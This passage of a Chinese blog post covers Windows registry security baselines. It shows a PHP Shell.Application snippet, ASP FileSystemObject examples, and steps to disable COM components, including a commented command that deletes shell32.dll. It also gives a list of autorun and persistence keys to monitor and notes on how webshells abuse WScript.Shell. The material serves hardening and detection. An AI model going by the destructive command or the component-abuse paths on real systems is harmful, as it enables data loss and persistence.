4. PHP
<?php
$wsh = new COM('Shell.Application') or die("Shell.Application");
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
//$exec = $wsh->ShellExecute("c:\\windows\\system32\\notepad.exe");
?>
禁用此组件的方法
. HKEY_CLASSES_ROOT\CLSID\{-C279-11CE-A49E-}: 删除
. HKEY_CLASSES_ROOT\Shell.Application: 改名为 HKEY_CLASSES_ROOT\Shell.Application_bak
. HKEY_CLASSES_ROOT\Shell.Application.: 改名为 HKEY_CLASSES_ROOT\Shell.Application.1_bak
. HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值: 项目的值改为其他值(删除效果也是一样的)
. HKEY_CLASSES_ROOT\Shell.Application.\CLSID\项目的值: 项目的值改为其他值(删除效果也是一样的) /*
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
*/
Relevant Link:
http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm
http://ss64.com/vb/shellexecute.html
http://www.2cto.com/Article/201308/232922.html
http://www.tdblog.cn/m/?post=125
0x3:FileSystemObject组件
现在越来越多的网站使用动态生成静态页的技术,就是信息在写入数据库的同时,使用系统的FSO组件来生成html格式的静态页,这样能提高用户的访问速度。这样系统在配置的时候,需要载入FSO组件(File System Object) 。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,该控件可以对服务器进行读取、新建、修改、删除目录以及文件的操作。是ASP编程中非常有用的一个控件。但是因为权限控制的问题,很多虚拟主机服务器的FSO反而成为这台服务器的一个公开的后门,因为客户可以在自己的ASP网页里面直接就对该控件编程,从而控制该服务器甚至删除服务器上的文件
FSO对象模型包含在Scripting 类型库(Scrrun.Dll)中,它同时包含了5个对象:
. Drive: Drive用来收集驱动器的信息,如可用磁盘空间或驱动器的类型
. Folder: Folder用于创建、删除或移动文件夹,同时可以进行向系统查询文件夹的路径等操作
. File: File的基本操作和Folder基本相同,所不同的是Files的操作主要是针对磁盘上的文件进行的
. FileSystemObject: FileSystemObject是FSO对象模型中最主要对象,它提供了一套完整的可用于创建、删除文件和文件夹,收集驱动器、文件夹、文件相关信息的方法。需要注意的是,FSO对象模型提供的方法是冗余的,也就是说在实际使用中,FSO对象模型中包含的不同对象的不同方法进行的却是同样的操作,而且FileSystemObject对象的方法直接作用于其余对象
. TextStream: extStream对象则是用来完成对文件的读写操作
1. FSO的加载方法
. 首先在系统目录中查找scrrun.dll,如果存在这个文件,请跳到第三步,如果没有,请执行第二步
. 在系统安装盘i386目录中找到scrrun.dl_,用winrar解压缩,得scrrun.dll,然后复制到你的系统目录c:windowssystem32目录中。
. 运行regsvr32 scrrun.dll即可。
. 如果想关闭FSO组件,请运行 regsvr32 /u scrrun.dll即可。 adodb.stream组件
regsvr32 "C:Program FilesCommon FilesSystemadomsado15.dll"
即可再次支持adodb.stream组件
2. FSO使用示例
. 创建文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.CreateTextFile("C:\test.txt", true) '第二个参数表示目标文件存在时是否覆盖
f.Write("写入内容")
f.WriteLine("写入内容并换行")
f.WriteBlankLines() '写入三个空白行(相当于在文本编辑器中按三次回车)
f.Close()
set f = nothing
set fso = nothing . 打开并读文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", , false) '第二个参数 1 表示只读打开,第三个参数表示目标文件不存在时是否创建
f.Skip() '将当前位置向后移三个字符
f.SkipLine() '将当前位置移动到下一行的第一个字符,注意:无参数
response.Write f.Read() '从当前位置向后读取三个字符,并将当前位置向后移三个字符
response.Write f.ReadLine() '从当前位置向后读取直到遇到换行符(不读取换行符),并将当前位置移动到下一行的第一个字符,注意:无参数
response.Write f.ReadAll() '从当前位置向后读取,直到文件结束,并将当前位置移动到文件的最后
if f.atEndOfLine then
response.Write("一行的结尾!")
end if
if f.atEndOfStream then
response.Write("文件的结尾!")
end if
f.Close()
set f = nothing
set fso = nothing . 打开并写文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", , false) '第二个参数 2 表示重写,如果是 8 表示追加
f.Write("写入内容")
f.WriteLine("写入内容并换行")
f.WriteBlankLines() '写入三个空白行(相当于在文本编辑器中按三次回车)
f.Close()
set f = nothing
set fso = nothing . 判断文件是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FileExists("C:\test.txt") then
response.Write("目标文件存在")
else
response.Write("目标文件不存在")
end if
set fso = nothing . 移动文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.MoveFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分可以不同
set fso = nothing . 复制文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.CopyFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分可以不同
set fso = nothing . 删除文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
set fso = nothing . 创建文件夹
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.CreateFolder("C:\test") '目标文件夹的父文件夹必须存在
set fso = nothing . 判断文件夹是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FolderExists("C:\Windows") then
response.Write("目标文件夹存在")
else
response.Write("目标文件夹不存在")
end if
set fso = nothing . 删除文件夹
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\test") '文件夹不必为空
set fso = nothing
//FSO不能操作二进制文件,要操作二进制文件,使用ADODB.Stream
禁用FSO组件的方法
. 用RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll
. 修改Progid的值: 在ASP里调用组件的方式通常是 Set 对象名 = Server. CreateObject("Progid"),这时候我们就可以通过修改注册表中的Progid值从达到禁用该组件的方法
HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF--00A0C9054228}\ProgID: 将默认值改为 Scripting.FileSystemObject_bak
. HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF--00A0C9054228}: 改为HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF--00A0C9054229},改变CLSID号,使调用失败
. HKEY_CLASSES_ROOT\Scripting.FileSystemObject: 改为 HKEY_CLASSES_ROOT\Scripting.FileSystemObject_bak
. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值: 项目的值改为其他值(删除效果也是一样的)
Relevant Link:
http://sujian.blog.51cto.com/8838/3788
http://www.15897.com/blog/post/ASP-FSO-zujian-xiangjie-shuoming.html
http://www.williamlong.info/archives/89.html
http://www.mydiannao.com/article/show.asp?id=3902
http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm
http://service.oray.com/question/349.html
Relevant Link:
https://support.microsoft.com/zh-cn/kb/314837
http://www.xitonghe.com/jiaocheng/windows7-2587.html
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsNT/RegistryTips/Registry/DisableRemoteRegistryEditing.html
6. 注册表安全配置基线标定
0x1: 自启动项检查
. HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动时自动初始化程序
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce:
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
) expectedvalue: 空
) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
0x2: 磁盘驱动器被隐藏
. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoDrives
) expectedvalue:
) discription: 当前启动了磁盘驱动隐藏,属于风险行为
0x3: 网络安全相关
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM
) expectedvalue: "N"
) discription: 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞,该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了避免"冲击波"病毒以及其他RPC漏洞的攻击,建议关闭该端口
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols
) expectedvalue: not contain "ncacn_ip_tcp"
) discription: 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞,该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了避免"冲击波"病毒以及其他RPC漏洞的攻击,建议关闭该端口
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled
) expectedvalue:
) discription: 445端口是一个毁誉参半的端口,他和139端口一起是IPC$入侵的主要通道。有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,攻击者能通过该端口共享受害者的硬盘,甚至会在悄无声息中将硬盘格式化掉
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
) expectedvalue: not ""
) discription: 禁用IPC$空连接,可以防止远程用户的匿名访问
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
) expectedvalue: >=
) discription: 在建立连接时,如果BetBT发现可用的连接块数目小于2个,会自动的再分配可用连接块,NetBT每次增加的连接块的数目定义在注册表中的双字节值项BacklogIncrement中,适当增大此值可以提高并发连接速度
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog
) expectedvalue:
) discription: 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
) expectedvalue:
) discription: 表示动态Backlog分配的自由连接的最小数目。当自由连接数目低于此数目时,将自动的分配自由连接,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
) expectedvalue: >=
) discription: 表示定义最大"准"连接的数目。"准"连接包括自由连接和半连接,对于网络繁忙或者易遭受SYN攻击的系统,应该设置此值,大小取决于内存的多少。一般来说,每32M内存最大可以增加5000个
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
) expectedvalue: >=
) discription: 表示定义每次增加的自由连接数目,对于网络繁忙或者易遭受SYN攻击的系统,建议设置大于等于10
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect
) expectedvalue:
) discription: SYN淹没攻击保护特性能够在系统层面阻挡一部分SYN攻击
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted
) expectedvalue:
) discription: 设定系统启动SYN淹没攻击保护之前的TCP连接数上限
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen
) expectedvalue:
) discription: 设定系统启动SYN淹没攻击保护之前的SYN半开连接数上限
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried
) expectedvalue:
) discription: 设定系统最大的半开连接重试次数
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions
) expectedvalue:
) discription: 定义了对于连接请求回应包的重发次数,如果该值为1,则SYN淹没攻击不会有效果,但是这样会造成连接请求失败几率的升高,建议设置为2
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions
) expectedvalue:
) discription: 定义了对于数据包发送请求回应包的重发次数,如果该值为1,则SYN淹没攻击不会有效果,但是这样会造成连接请求失败几率的升高,建议设置为2
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery
) expectedvalue:
) discription: 防御TCP碎片攻击
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime
) expectedvalue:
) discription: 设置系统发送KeepAlive存活包时间间隔
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
) expectedvalue:
) discription: 设置是否释放NetBIOS name,当接收到一个name-release请求包
. HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
) expectedvalue:
) discription: 防御ICMP重定向攻击,检查有可能用以攻击的ICMP重定向报文
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect
) expectedvalue:
) discription: 防御SNMP劫持攻击,检查无效网关,以便优化网络
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting
) expectedvalue:
) discription: 禁止IP源路由建议丢弃所有接受的源路由包
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding
) expectedvalue:
) discription: 禁止转发IP广播数据包
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter
) expectedvalue:
) discription: 禁止路由发现功能,ICMP路由通告报文可以被用来增加路由表记录,可以导致攻击
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply
) expectedvalue:
) discription: 禁止接收ICMP地址掩码数据包
0x4: 组件安全相关
. HKEY_CLASSES_ROOT\WScript.Shell
) expectedvalue: not exist
) discription: W.Shell组件常常被黑客用来执行vbs脚本,黑客通过WEBSEHLL或者其他上传漏洞上传vbs提权脚本并执行,除此之外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
. HKEY_CLASSES_ROOT\WScript.Shell.
) expectedvalue: not exist
) discription: W.Shell组件常常被黑客用来执行vbs脚本,黑客通过WEBSEHLL或者其他上传漏洞上传vbs提权脚本并执行,除此之外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\
) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
) discription: W.Shell组件常常被黑客用来执行vbs脚本,黑客通过WEBSEHLL或者其他上传漏洞上传vbs提权脚本并执行,除此之外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
. HKEY_CLASSES_ROOT\WScript.Shell.\CLSID\
) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
) discription: W.Shell组件常常被黑客用来执行vbs脚本,黑客通过WEBSEHLL或者其他上传漏洞上传vbs提权脚本并执行,除此之外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
. HKEY_CLASSES_ROOT\Shell.Application
) expectedvalue: not exist
) discription: shell.application这个组件常常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权
. HKEY_CLASSES_ROOT\Shell.Application.
) expectedvalue: not exist
) discription: shell.application这个组件常常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权
. HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
) expectedvalue: not {-C279-11CE-A49E-}
) discription: shell.application这个组件常常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权
. HKEY_CLASSES_ROOT\Shell.Application.\CLSID\项目的值
) expectedvalue: not {-C279-11CE-A49E-}
) discription: shell.application这个组件常常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权
. HKEY_CLASSES_ROOT\Scripting.FileSystemObject
) expectedvalue: not exist
) discription: FSO对象常常被黑客利用进行WEBSHELL恶意文件上传
. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值
) expectedvalue: not {0D43FE01-F093-11CF--00A0C9054228}
) discription: FSO对象常常被黑客利用进行WEBSHELL恶意文件上传
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
) expectedvalue:
) discription: 禁止远程访问操作注册表,建议关闭
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
) expectedvalue:
) discription: 禁止默认启动WINDOWS共享文件夹($ADMIN、$C、$D.)
7. 监控项
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Policies/Explorer
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/Shell
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/load
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Internet Explorer/TypedURLs
HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Command Processor/
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Browser Helper Objects/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Startup
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Shutdown
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/GPExtensions/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Notify/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Userinit
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/Custom
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/InstalledSDB
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkList/Profiles
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/LoadAppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor/
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/lnkfile/IsShortcut
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff
HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLL
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SharedAccess/Parameters/FirewallPolicy/StandardProfile
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecurityHealthService
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Winsock2/Parameters/Protocol_Catalog9/Catalog_Entries/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/ExcludeFromKnownDlls
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/KnownDLLs/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/WOW/Control/Session Manager/Environment/
HKEY_LOCAL_MACHINE/SYSTEM/Services/CurrentControlSet/services/Tcpip/Parameters/Interfaces
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00x/Enum/USBSTOR
HKEY_LOCAL_MACHINE/SYSTEM/MountedDevices HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Ole/EnableDCOM
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Rpc/DCOM Protocols
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters/SMBDeviceEnabled
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/RestrictAnonymous
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBt/Parameters/BacklogIncrement
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/EnableDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MinimumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MaximumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/DynamicBacklogGrowthDelta
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip/Parameters/SynAttackProtect
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxPortsExhausted
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpen
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpenRetried
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxConnectResponseRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxDataRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/EnablePMTUDiscovery
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/KeepAliveTime
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Netbt/Parameters/NoNameReleaseOnDemand
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/TcpIp/Parameters/EnableICMPRedirect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableDeadGWDetect
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/DisableIPSourceRouting
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableMulticastForwarding
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters/EnableAddrMaskReply
HKEY_CLASSES_ROOT/WScript.Shell
HKEY_CLASSES_ROOT/WScript.Shell.
HKEY_CLASSES_ROOT/WScript.Shell/CLSID/
HKEY_CLASSES_ROOT/WScript.Shell./CLSID/
HKEY_CLASSES_ROOT/Shell.Application
HKEY_CLASSES_ROOT/Shell.Application.
HKEY_CLASSES_ROOT/Shell.Application/CLSID/项目的值
HKEY_CLASSES_ROOT/Shell.Application./CLSID/项目的值
HKEY_CLASSES_ROOT/Scripting.FileSystemObject
HKEY_CLASSES_ROOT/Scripting.FileSystemObject/CLSID/项目的值
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA/RestrictAnonymous
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters/AutoShareServer
Windows Registry Security Check的更多相关文章
- 入侵检测中需要监控的注册表路径研究(Windows Registry Security Check)
1. Windows注册表简介 注册表(Registry,繁体中文版Windows称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息.早在Wind ...
- 小白日记46:kali渗透测试之Web渗透-SqlMap自动注入(四)-sqlmap参数详解- Enumeration,Brute force,UDF injection,File system,OS,Windows Registry,General,Miscellaneous
sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns [ ...
- hdu6076 Security Check 分类dp 思维
/** 题目:hdu6076 Security Check 链接:http://acm.hdu.edu.cn/showproblem.php?pid=6076 题意:有两个队列在排队,每一次警察可以检 ...
- 2017 多校4 Security Check
